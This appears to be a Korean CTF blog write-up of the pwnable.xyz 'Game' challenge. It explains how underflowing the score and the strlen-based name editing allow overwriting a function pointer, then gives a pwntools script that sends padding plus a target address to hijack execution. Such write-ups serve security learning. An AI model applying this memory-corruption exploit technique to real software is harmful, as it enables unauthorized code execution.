pwn/pwnable.xyz

pwnable.xyz / Game

lok2h4rd 2022. 5. 12. 17:32

main

  1. 게임 시작 ( play_game )
  2. 게임 저장 ( save_game )
  3. 이름 수정 ( edit_name )

 

play_game

맞추면 점수가 1 증가하고 틀리면 1감소한다

 

save_game

새로운 게임 객체를 생성하고 기존 게임 데이터를 새로운 게임에 저장한다

 

edit_name

strlen으로 길이를 구해서 이름을 수정한다

 

 

 

struct

name과 score를 채워주면 edit_name에서 play_game까지 덮어 쓸 수 있다

score를 채우는 방법은 일부러 틀려서 점수를 0xffff로 채워주고 save_game으로 qword로 형변환 score를 채울 수 있다

 

flag

 

from pwn import *

p = process("./Game")
#gdb.attach(p)

def play_game():
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"= ")
    p.sendline(b"123")


def save_game():
    p.recvuntil(b"> ")
    p.sendline(b"2")

def edit_game(data):
    p.recvuntil(b"> ")
    p.sendline(b"3")
    sleep(0.1)
    p.send(data)


payload = b"A" * 0x10
p.recvuntil(b"Name: ")
p.send(payload)

play_game()
save_game()

payload = b"A" * 0x18
payload += b"\xd6\x09\x40"
edit_game(payload)

p.recvuntil(b"> ")
p.sendline(b"1")

p.interactive()